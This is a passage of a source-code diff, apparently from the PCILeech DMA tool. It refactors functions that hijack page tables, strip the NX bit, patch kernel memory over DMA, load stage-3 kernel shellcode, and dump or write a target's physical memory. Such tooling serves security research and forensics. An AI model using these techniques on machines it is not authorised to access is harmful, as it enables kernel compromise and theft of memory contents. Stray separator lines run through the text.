pdwPhysicalAddress = (PDWORD)(h2.pbLatest + h2.dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR);
|
||||
do {
|
||||
Sleep(100);
|
||||
if(!DeviceReadDMA(pDeviceData, h2.dwPageAddr32, h2.pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, h2.qwPageAddr, h2.pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
|
||||
return FALSE;
|
||||
}
|
||||
@@ -851,16 +940,16 @@ BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 6: Restore hooks to original.
|
||||
//------------------------------------------------
|
||||
DeviceWriteDMA(pDeviceData, h2.dwPageAddr32, h2.pbOrig, 4096, 0);
|
||||
DeviceWriteDMA(ctx, h2.qwPageAddr, h2.pbOrig, 4096, 0);
|
||||
//------------------------------------------------
|
||||
// 7: Set up kernel module shellcode (stage3) and finish.
|
||||
//------------------------------------------------
|
||||
return KMD_SetupStage3(pCfg, pDeviceData, *pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);
|
||||
return KMD_SetupStage3(ctx, *pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);
|
||||
}
|
||||
|
||||
BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL KMDOpen_PageTableHijack(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
QWORD qwCR3 = pCfg->qwCR3;
|
||||
QWORD qwCR3 = ctx->cfg->qwCR3;
|
||||
QWORD qwModuleBase;
|
||||
SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES];
|
||||
PSIGNATURE pSignature;
|
||||
@@ -873,7 +962,7 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 1: Load signature and patch data.
|
||||
//------------------------------------------------
|
||||
result = Util_LoadSignatures(pCfg->szKMDName, ".kmd", oSignatures, &cSignatures, 6);
|
||||
result = Util_LoadSignatures(ctx->cfg->szKMDName, ".kmd", oSignatures, &cSignatures, 6);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. Error loading signatures.\n");
|
||||
return FALSE;
|
||||
@@ -892,20 +981,20 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 2: Locate patch location PTEs.
|
||||
//------------------------------------------------
|
||||
if(pCfg->fPageTableScan) {
|
||||
if(ctx->cfg->fPageTableScan) {
|
||||
printf("KMD: Searching for PTE location ...\n");
|
||||
}
|
||||
result = Util_PageTable_FindSignatureBase(pCfg, pDeviceData, &qwCR3, pSignaturePTEs, cSignaturePTEs, &qwModuleBase);
|
||||
result = Util_PageTable_FindSignatureBase(ctx, &qwCR3, pSignaturePTEs, cSignaturePTEs, &qwModuleBase);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. Could not find module base by PTE search.\n");
|
||||
return FALSE;
|
||||
}
|
||||
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwCR3, qwModuleBase + pSignature->chunk[2].cbOffset, &h1.qwPTEOrig, &h1.qwPTEAddrPhys);
|
||||
result = Util_PageTable_ReadPTE(ctx, qwCR3, qwModuleBase + pSignature->chunk[2].cbOffset, &h1.qwPTEOrig, &h1.qwPTEAddrPhys);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. Could not access PTE #1.\n");
|
||||
return FALSE;
|
||||
}
|
||||
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwCR3, qwModuleBase + pSignature->chunk[3].cbOffset, &h2.qwPTEOrig, &h2.qwPTEAddrPhys);
|
||||
result = Util_PageTable_ReadPTE(ctx, qwCR3, qwModuleBase + pSignature->chunk[3].cbOffset, &h2.qwPTEOrig, &h2.qwPTEAddrPhys);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. Could not access PTE #2.\n");
|
||||
return FALSE;
|
||||
@@ -914,8 +1003,8 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
// 3: Set up patch data.
|
||||
//------------------------------------------------
|
||||
// hijack "random" page in memory if target page is above 4GB - dangerous!!!
|
||||
h1.dwPageAddr32 = (h1.qwPTEOrig < 0x100000000) ? (h1.qwPTEOrig & 0xfffff000) : 0x90000;
|
||||
h2.dwPageAddr32 = (h2.qwPTEOrig < 0x100000000) ? (h2.qwPTEOrig & 0xfffff000) : 0x91000;
|
||||
h1.qwPageAddr = (h1.qwPTEOrig < 0x100000000) ? (h1.qwPTEOrig & 0xfffff000) : 0x90000;
|
||||
h2.qwPageAddr = (h2.qwPTEOrig < 0x100000000) ? (h2.qwPTEOrig & 0xfffff000) : 0x91000;
|
||||
h1.dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset;
|
||||
h2.dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset;
|
||||
memcpy(h1.pbPatch, pSignature->chunk[0].pb, 4096);
|
||||
@@ -933,21 +1022,21 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
h2.qwPTE = 0x7ff0000000000fff & h2.qwPTEOrig; // Strip NX-bit and previous physical address
|
||||
h1.qwPTE |= 0x00000002; // set write
|
||||
h2.qwPTE |= 0x00000002; // set write
|
||||
h1.qwPTE |= 0xfffff000 & h1.dwPageAddr32;
|
||||
h2.qwPTE |= 0xfffff000 & h2.dwPageAddr32;
|
||||
h1.qwPTE |= 0xfffff000 & h1.qwPageAddr;
|
||||
h2.qwPTE |= 0xfffff000 & h2.qwPageAddr;
|
||||
//------------------------------------------------
|
||||
// 4: Write patched data and PTEs to memory.
|
||||
//------------------------------------------------
|
||||
DeviceReadDMA(pDeviceData, h1.dwPageAddr32, h1.pbOrig, 4096, 0);
|
||||
DeviceReadDMA(pDeviceData, h2.dwPageAddr32, h2.pbOrig, 4096, 0);
|
||||
if(!DeviceWriteDMAVerify(pDeviceData, h2.dwPageAddr32, h2.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL) ||
|
||||
!DeviceWriteDMAVerify(pDeviceData, h1.dwPageAddr32, h1.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
DeviceReadDMA(ctx, h1.qwPageAddr, h1.pbOrig, 4096, 0);
|
||||
DeviceReadDMA(ctx, h2.qwPageAddr, h2.pbOrig, 4096, 0);
|
||||
if(!DeviceWriteDMA(ctx, h2.qwPageAddr, h2.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL | PCILEECH_MEM_FLAG_VERIFYWRITE) ||
|
||||
!DeviceWriteDMA(ctx, h1.qwPageAddr, h1.pbPatch, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL | PCILEECH_MEM_FLAG_VERIFYWRITE)) {
|
||||
printf("KMD: Failed. Signature found but unable write.\n");
|
||||
return FALSE;
|
||||
}
|
||||
DeviceWriteDMA(pDeviceData, h2.qwPTEAddrPhys, (PBYTE)&h2.qwPTE, sizeof(QWORD), 0);
|
||||
DeviceWriteDMA(ctx, h2.qwPTEAddrPhys, (PBYTE)&h2.qwPTE, sizeof(QWORD), 0);
|
||||
Sleep(250);
|
||||
DeviceWriteDMA(pDeviceData, h1.qwPTEAddrPhys, (PBYTE)&h1.qwPTE, sizeof(QWORD), 0);
|
||||
DeviceWriteDMA(ctx, h1.qwPTEAddrPhys, (PBYTE)&h1.qwPTE, sizeof(QWORD), 0);
|
||||
//------------------------------------------------
|
||||
// 5: wait for patch to reveive execution.
|
||||
//------------------------------------------------
|
||||
@@ -955,7 +1044,7 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
pdwPhysicalAddress = (PDWORD)(h2.pbLatest + h2.dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR);
|
||||
do {
|
||||
Sleep(100);
|
||||
if(!DeviceReadDMA(pDeviceData, h2.dwPageAddr32, h2.pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, h2.qwPageAddr, h2.pbLatest, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n");
|
||||
return FALSE;
|
||||
}
|
||||
@@ -964,76 +1053,75 @@ BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
//------------------------------------------------
|
||||
// 6: Restore hijacked memory pages.
|
||||
//------------------------------------------------
|
||||
DeviceWriteDMA(pDeviceData, h1.qwPTEAddrPhys, (PBYTE)&h1.qwPTEOrig, sizeof(QWORD), 0);
|
||||
DeviceWriteDMA(pDeviceData, h2.qwPTEAddrPhys, (PBYTE)&h2.qwPTEOrig, sizeof(QWORD), 0);
|
||||
DeviceWriteDMA(ctx, h1.qwPTEAddrPhys, (PBYTE)&h1.qwPTEOrig, sizeof(QWORD), 0);
|
||||
DeviceWriteDMA(ctx, h2.qwPTEAddrPhys, (PBYTE)&h2.qwPTEOrig, sizeof(QWORD), 0);
|
||||
Sleep(100);
|
||||
DeviceWriteDMA(pDeviceData, h1.dwPageAddr32, h1.pbOrig, 4096, 0);
|
||||
DeviceWriteDMA(pDeviceData, h2.dwPageAddr32, h2.pbOrig, 4096, 0);
|
||||
DeviceWriteDMA(ctx, h1.qwPageAddr, h1.pbOrig, 4096, 0);
|
||||
DeviceWriteDMA(ctx, h2.qwPageAddr, h2.pbOrig, 4096, 0);
|
||||
//------------------------------------------------
|
||||
// 7: Set up kernel module shellcode (stage3) and finish.
|
||||
//------------------------------------------------
|
||||
return KMD_SetupStage3(pCfg, pDeviceData, *pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);
|
||||
return KMD_SetupStage3(ctx, *pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);
|
||||
}
|
||||
|
||||
BOOL KMD_SetupStage3_FromPartial(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDHANDLE pPartialKMD)
|
||||
BOOL KMD_SetupStage3_FromPartial(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BYTE pb[4096];
|
||||
DWORD cb;
|
||||
if(pPartialKMD->status->OperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {
|
||||
if(ctx->pk->OperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {
|
||||
return
|
||||
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pb, 4096, &cb) &&
|
||||
KMD_SetupStage3(pCfg, pDeviceData, pPartialKMD->dwPageAddr32, pb, 4096);
|
||||
KMD_SetupStage3(ctx, ctx->phKMD->dwPageAddr32, pb, 4096);
|
||||
} else {
|
||||
printf("KMD: Failed. Not a valid KMD @ address: 0x%08x\n", pPartialKMD->dwPageAddr32);
|
||||
printf("KMD: Failed. Not a valid KMD @ address: 0x%08x\n", ctx->phKMD->dwPageAddr32);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL KMDOpen_LoadExisting(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL KMDOpen_LoadExisting(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PKMDHANDLE pKMD = NULL;
|
||||
//------------------------------------------------
|
||||
// 1: Set up handle to existing shellcode
|
||||
//------------------------------------------------
|
||||
if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; }
|
||||
pKMD->dwPageAddr32 = (DWORD)pCfg->qwKMD;
|
||||
pKMD->status = (PKMDDATA)pKMD->pbPageData;
|
||||
if(!DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. Read failed @ address: 0x%08x\n", pKMD->dwPageAddr32);
|
||||
ctx->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));
|
||||
if(!ctx->phKMD) { return FALSE; }
|
||||
ctx->phKMD->dwPageAddr32 = (DWORD)ctx->cfg->qwKMD;
|
||||
ctx->pk = ctx->phKMD->pk = (PKMDDATA)ctx->phKMD->pbPageData;
|
||||
if(!DeviceReadDMA(ctx, ctx->phKMD->dwPageAddr32, ctx->phKMD->pbPageData, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. Read failed @ address: 0x%08x\n", ctx->phKMD->dwPageAddr32);
|
||||
goto fail;
|
||||
}
|
||||
if(pKMD->status->MAGIC == KMDDATA_MAGIC_PARTIAL) {
|
||||
return KMD_SetupStage3_FromPartial(pCfg, pDeviceData, pKMD);
|
||||
if(ctx->phKMD->pk->MAGIC == KMDDATA_MAGIC_PARTIAL) {
|
||||
return KMD_SetupStage3_FromPartial(ctx);
|
||||
}
|
||||
if(pKMD->status->MAGIC != KMDDATA_MAGIC) {
|
||||
printf("KMD: Failed. Not a valid KMD @ address: 0x%08x\n", pKMD->dwPageAddr32);
|
||||
if(ctx->phKMD->pk->MAGIC != KMDDATA_MAGIC) {
|
||||
printf("KMD: Failed. Not a valid KMD @ address: 0x%08x\n", ctx->phKMD->dwPageAddr32);
|
||||
goto fail;
|
||||
}
|
||||
//------------------------------------------------
|
||||
// 2: Retrieve physical memory range map and complete open action.
|
||||
//------------------------------------------------
|
||||
if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) {
|
||||
if(!KMD_GetPhysicalMemoryMap(ctx)) {
|
||||
printf("KMD: Failed. Failed to retrieve physical memory map.\n");
|
||||
goto fail;
|
||||
}
|
||||
pDeviceData->KMDHandle = (HANDLE)pKMD;
|
||||
return TRUE;
|
||||
fail:
|
||||
if(pKMD) { LocalFree(pKMD); }
|
||||
KMDClose(ctx);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL KMDOpen(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
if(pCfg->qwKMD) {
|
||||
return KMDOpen_LoadExisting(pCfg, pDeviceData);
|
||||
} else if(pCfg->qwCR3 || pCfg->fPageTableScan) {
|
||||
return KMDOpen_PageTableHijack(pCfg, pDeviceData);
|
||||
} else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) {
|
||||
return KMDOpen_HalHijack(pCfg, pDeviceData);
|
||||
} else if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64_EFI")) {
|
||||
return KMDOpen_LinuxEfiRuntimeServicesHijack(pCfg, pDeviceData);
|
||||
if(ctx->cfg->qwKMD) {
|
||||
return KMDOpen_LoadExisting(ctx);
|
||||
} else if(ctx->cfg->qwCR3 || ctx->cfg->fPageTableScan) {
|
||||
return KMDOpen_PageTableHijack(ctx);
|
||||
} else if(0 == _stricmp(ctx->cfg->szKMDName, "WIN10_X64")) {
|
||||
return KMDOpen_HalHijack(ctx);
|
||||
} else if(0 == _stricmp(ctx->cfg->szKMDName, "LINUX_X64_EFI")) {
|
||||
return KMDOpen_LinuxEfiRuntimeServicesHijack(ctx);
|
||||
} else {
|
||||
return KMDOpen_MemoryScan(pCfg, pDeviceData);
|
||||
return KMDOpen_MemoryScan(ctx);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// kmd.h : definitions related to operating systems kernel modules functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __KMD_H__
|
||||
@@ -10,47 +10,51 @@
|
||||
/*
|
||||
* Open a kernel module (KMD). This can be done in multiple ways as specified in
|
||||
* the configuration data.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- return
|
||||
*/
|
||||
BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
BOOL KMDOpen(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Close an active kernel module - perform various cleanup tasks, both on this
|
||||
* system and the target system.
|
||||
* -- pDeviceData
|
||||
* Unload an active kernel module from the target system and perform various
|
||||
* cleanup tasks.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID KMDClose(_In_ PDEVICE_DATA pDeviceData);
|
||||
VOID KMDUnload(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Clean up and free memory related to a kernel module without unloading the
|
||||
* kernel module from the target system.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID KMDClose(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Read physical memory from the target system using an active KMD as a proxy.
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwAddress = physical address in target system to read.
|
||||
* -- pb = pre-allocated buffer to place result in.
|
||||
* -- cb = length of data to read, must not be larger than pb.
|
||||
* -- return
|
||||
*/
|
||||
BOOL KMDReadMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb);
|
||||
BOOL KMDReadMemory(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Write physical memory to the target system using an active KMD as a proxy.
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwAddress = the physical address to write to in the target system.
|
||||
* -- pb = bytes to write
|
||||
* -- cb = number of bytes to write.
|
||||
* -- return TRUE on success, otherwise FALSE.
|
||||
*/
|
||||
BOOL KMDWriteMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb);
|
||||
BOOL KMDWriteMemory(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Submit a command to an already loaded kernel module.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- phKMD = ptr to the kmd handle.
|
||||
* -- ctx
|
||||
* -- op = the command (opcode) to submit for processing.
|
||||
* -- return TRUE on success, otherwise FALSE.
|
||||
*/
|
||||
BOOL KMD_SubmitCommand(_In_opt_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD, _In_ QWORD op);
|
||||
BOOL KMD_SubmitCommand(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD op);
|
||||
|
||||
#endif /* __KMD_H__ */
|
||||
@@ -1,6 +1,6 @@
|
||||
// memdump.c : implementation related to memory dumping functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "memdump.h"
|
||||
@@ -44,7 +44,7 @@ VOID MemoryDump_SetOutFileName(_Inout_ PCONFIG pCfg)
|
||||
}
|
||||
}
|
||||
|
||||
VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionMemoryDump(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PBYTE pbMemoryDump;
|
||||
QWORD qwCurrentAddress;
|
||||
@@ -58,15 +58,15 @@ VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
return;
|
||||
}
|
||||
|
||||
if (pCfg->fOutFile != FALSE)
|
||||
if (ctx->cfg->fOutFile != FALSE)
|
||||
{
|
||||
MemoryDump_SetOutFileName(pCfg);
|
||||
MemoryDump_SetOutFileName(ctx->cfg);
|
||||
pFileBuffer = LocalAlloc(LMEM_ZEROINIT, sizeof(FILE_WRITE_ASYNC_BUFFER));
|
||||
if (!pFileBuffer) {
|
||||
printf("Memory Dump: Failed. Failed to allocate memory buffers.\n");
|
||||
return;
|
||||
}
|
||||
pFileBuffer->hFile = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
pFileBuffer->hFile = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(!pFileBuffer->hFile || pFileBuffer->hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("Memory Dump: Failed. Error writing to file.\n");
|
||||
return;
|
||||
@@ -77,14 +77,14 @@ VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
pFileBuffer = NULL;
|
||||
}
|
||||
pCfg->qwAddrMin &= ~0xfff;
|
||||
pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff;
|
||||
ctx->cfg->qwAddrMin &= ~0xfff;
|
||||
ctx->cfg->qwAddrMax = (ctx->cfg->qwAddrMax + 1) & ~0xfff;
|
||||
// 2: start dump in 16MB blocks
|
||||
qwCurrentAddress = pCfg->qwAddrMin;
|
||||
PageStatInitialize(&pageStat, pCfg->qwAddrMin, pCfg->qwAddrMax, "Dumping Memory", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose);
|
||||
while(qwCurrentAddress < pCfg->qwAddrMax) {
|
||||
result = Util_Read16M(pCfg, pDeviceData, pbMemoryDump, qwCurrentAddress, &pageStat);
|
||||
if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) {
|
||||
qwCurrentAddress = ctx->cfg->qwAddrMin;
|
||||
PageStatInitialize(&pageStat, ctx->cfg->qwAddrMin, ctx->cfg->qwAddrMax, "Dumping Memory", ctx->phKMD ? TRUE : FALSE, ctx->cfg->fVerbose);
|
||||
while(qwCurrentAddress < ctx->cfg->qwAddrMax) {
|
||||
result = Util_Read16M(ctx, pbMemoryDump, qwCurrentAddress, &pageStat);
|
||||
if(!result && !ctx->cfg->fForceRW && !ctx->phKMD) {
|
||||
PageStatClose(&pageStat);
|
||||
printf("Memory Dump: Failed. Cannot dump any sequential data in 16MB - terminating.\n");
|
||||
goto cleanup;
|
||||
@@ -100,7 +100,7 @@ VOID ActionMemoryDump(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
while(pFileBuffer->isExecuting) {
|
||||
SwitchToThread();
|
||||
}
|
||||
pFileBuffer->cb = (DWORD)min(0x01000000, pCfg->qwAddrMax - qwCurrentAddress);
|
||||
pFileBuffer->cb = (DWORD)min(0x01000000, ctx->cfg->qwAddrMax - qwCurrentAddress);
|
||||
memcpy(pFileBuffer->pb, pbMemoryDump, 0x01000000);
|
||||
pFileBuffer->isExecuting = TRUE;
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MemoryDump_FileWriteAsync_Thread, pFileBuffer, 0, NULL);
|
||||
@@ -125,42 +125,34 @@ cleanup:
|
||||
}
|
||||
}
|
||||
|
||||
VOID ActionMemoryPageDisplay(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BYTE pb[4096];
|
||||
CHAR ch[0x8000];
|
||||
DWORD cch = 0x8000;
|
||||
QWORD qwAddr = pCfg->qwAddrMin & 0x0fffffffffffff000;
|
||||
BOOL result;
|
||||
QWORD qwAddr = ctx->cfg->qwAddrMin & 0x0fffffffffffff000;
|
||||
printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr);
|
||||
result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0);
|
||||
if(!result) {
|
||||
result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0);
|
||||
}
|
||||
if(!result) {
|
||||
if(!DeviceReadMEM(ctx, qwAddr, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("Memory Page Read: Failed.\n");
|
||||
return;
|
||||
}
|
||||
CryptBinaryToStringA(pb, 4096, CRYPT_STRING_HEXASCIIADDR, ch, &cch);
|
||||
printf("%s\n", ch);
|
||||
Util_PrintHexAscii(pb, 4096);
|
||||
}
|
||||
|
||||
VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionMemoryTestReadWrite(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BYTE pb1[4096], pb2[4096], pb3[4096];
|
||||
DWORD dwAddrPci32 = (DWORD)(pCfg->qwAddrMin & 0xfffff000);
|
||||
DWORD dwAddrPci32 = (DWORD)(ctx->cfg->qwAddrMin & 0xfffff000);
|
||||
DWORD i, dwOffset, dwRuns = 1000;
|
||||
BOOL r1, r2;
|
||||
if(pDeviceData->KMDHandle) {
|
||||
if(ctx->phKMD) {
|
||||
printf("Memory Test Read: Failed. Memory test may not run in KMD mode.\n");
|
||||
return;
|
||||
}
|
||||
DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0);
|
||||
DeviceReadDMA(ctx, dwAddrPci32, pb1, 4096, 0);
|
||||
// READ DMA
|
||||
printf("Memory Test Read: starting, reading %i times from address: 0x%08x\n", dwRuns, dwAddrPci32);
|
||||
DeviceReadDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0);
|
||||
DeviceReadDMA(ctx, dwAddrPci32, pb1, 4096, 0);
|
||||
for(i = 0; i < dwRuns; i++) {
|
||||
r1 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096, 0);
|
||||
r1 = DeviceReadDMA(ctx, dwAddrPci32, pb2, 4096, 0);
|
||||
if(!r1 || (dwOffset = Util_memcmpEx(pb1, pb2, 4096))) {
|
||||
printf("Memory Test Read: Failed. DMA failed / data changed by target computer / memory corruption. Read: %i. Run: %i. Offset: 0x%03x\n", r1, i, (r1 ? --dwOffset : 0));
|
||||
return;
|
||||
@@ -168,36 +160,36 @@ VOID ActionMemoryTestReadWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
}
|
||||
// WRITE DMA
|
||||
printf("Memory Test Read: SUCCESS!\n");
|
||||
if(pCfg->tpAction == TESTMEMREADWRITE) {
|
||||
if(ctx->cfg->tpAction == TESTMEMREADWRITE) {
|
||||
dwRuns = 100;
|
||||
printf("Memory Test Write: starting, reading/writing %i times from address: 0x%08x\n", dwRuns, dwAddrPci32);
|
||||
for(i = 0; i < dwRuns; i++) {
|
||||
Util_GenRandom(pb3, 4096);
|
||||
r1 = DeviceWriteDMA(pDeviceData, dwAddrPci32, pb3, 4096, 0);
|
||||
r2 = DeviceReadDMA(pDeviceData, dwAddrPci32, pb2, 4096, 0);
|
||||
r1 = DeviceWriteDMA(ctx, dwAddrPci32, pb3, 4096, 0);
|
||||
r2 = DeviceReadDMA(ctx, dwAddrPci32, pb2, 4096, 0);
|
||||
if(!r1 || !r2 || (dwOffset = Util_memcmpEx(pb2, pb3, 4096))) {
|
||||
DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0);
|
||||
DeviceWriteDMA(ctx, dwAddrPci32, pb1, 4096, 0);
|
||||
printf("Memory Test Write: Failed. DMA failed / data changed by target computer / memory corruption. Write: %i. Read: %i. Run: %i. Offset: 0x%03x\n", r1, r2, i, --dwOffset);
|
||||
return;
|
||||
}
|
||||
}
|
||||
DeviceWriteDMA(pDeviceData, dwAddrPci32, pb1, 4096, 0);
|
||||
DeviceWriteDMA(ctx, dwAddrPci32, pb1, 4096, 0);
|
||||
printf("Memory Test Write: Success!\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID ActionMemoryWrite(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
VOID ActionMemoryWrite(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
if(pCfg->cbIn == 0) {
|
||||
if(ctx->cfg->cbIn == 0) {
|
||||
printf("Memory Write: Failed. No data to write.\n");
|
||||
return;
|
||||
}
|
||||
if(pCfg->cbIn >= 0x01000000) {
|
||||
if(ctx->cfg->cbIn >= 0x01000000) {
|
||||
printf("Memory Write: Failed. Data too large: >16MB.\n");
|
||||
return;
|
||||
}
|
||||
result = DeviceWriteMEM(pDeviceData, pCfg->qwAddrMin, pCfg->pbIn, (DWORD)pCfg->cbIn, 0);
|
||||
result = DeviceWriteMEM(ctx, ctx->cfg->qwAddrMin, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn, 0);
|
||||
if(!result) {
|
||||
printf("Memory Write: Failed. Write failed (partial memory may be written).\n");
|
||||
return;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// memdump.h : definitions related to memory dumping functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __MEMDUMP_H__
|
||||
@@ -11,36 +11,32 @@
|
||||
